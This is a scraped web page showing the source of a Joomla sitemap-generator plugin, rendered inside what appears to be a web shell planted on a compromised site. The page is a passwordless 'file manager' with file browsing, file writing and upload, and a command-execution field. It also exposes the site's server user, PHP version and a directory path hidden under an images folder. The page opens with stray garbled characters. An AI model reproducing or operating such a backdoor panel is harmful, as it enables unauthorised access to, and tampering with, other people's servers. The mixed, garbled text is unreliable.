( ◞≼☸≽◟ ._ゝ◞≼☸≽◟)zcsdf吖 <?php
/*
 * @copyright  Copyright (C) 2015 Marco Beierer. All rights reserved.
 * @license    http://www.gnu.org/licenses/agpl-3.0.html GNU/AGPL
 */

defined('_JEXEC') or die();

class 
plgAjaxSitemapgenerator extends JPlugin {

    public function 
onAjaxSitemapgenerator() {

        
$lang JFactory::getLanguage();
        
$lang->load('plg_ajax_sitemapgenerator');

        
$user JFactory::getUser();
        if (!
$user->authorise('core.login.admin')) {
            return 
JError::raiseError('401'JText::_('PLG_AJAX_SITEMAPGENERATOR_ERROR_NOT_AUTHORISED'));
        }

        
$baseurl JURI::root();
        
$baseurl64 strtr(base64_encode($baseurl), '+/''-_');

        
$subsequentRequest false// TODO implement a nicer solution
        
do {
            if (
$subsequentRequest) {
                
usleep(250000); // 250ms
            
} else {
                
$subsequentRequest true;
            }

            
$ch curl_init();

            
curl_setopt($chCURLOPT_URL'https://api.marcobeierer.com/sitemap/v2/' $baseurl64 '?pdfs=1&joomla=1');
            
curl_setopt($chCURLOPT_HEADER0);
            
curl_setopt($chCURLOPT_RETURNTRANSFERtrue);

            
$response curl_exec($ch);

            
$statusCode curl_getinfo($chCURLINFO_HTTP_CODE);
            
$contentType curl_getinfo($chCURLINFO_CONTENT_TYPE);

            
curl_close($ch);
        }
        while(
$statusCode == 200 && $contentType != 'application/xml');

        if (
$statusCode != 200) {
            return 
JText::_('PLG_AJAX_SITEMAPGENERATOR_ERROR'); // TODO better error message
        
}

        
$reader = new XMLReader();
        
$reader->xml($response'UTF-8');
        
$reader->setParserProperty(XMLReader::VALIDATEtrue);

        if (
$reader->isValid()) { // TODO check if empty?

            
if (defined('JPATH_ROOT') && JPATH_ROOT != '') {
                
file_put_contents(JPATH_ROOT DIRECTORY_SEPARATOR 'sitemap.xml'$response); // TODO handle error
                
return JText::_('PLG_AJAX_SITEMAPGENERATOR_SUCCESS');
            }
        }

        return 
JText::_('PLG_AJAX_SITEMAPGENERATOR_ERROR'); // TODO better error message
    
}
}
File Manager (Güvensiz Simülasyon)

Web File Manager (Şifresiz)

Viewing File: sitemapgenerator.php

📄 File Browser

Directory:

Current Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js

✏️ Write/Create File

Filename:


⬆️ Upload File

💻 Command Execution

Command:

📊 Server Info

PHP Version: 8.2.30
Server: Apache
User: sarayaglobal
Directory: /home/sarayaglobal/sanistar.pro/images/measurements-sheet/js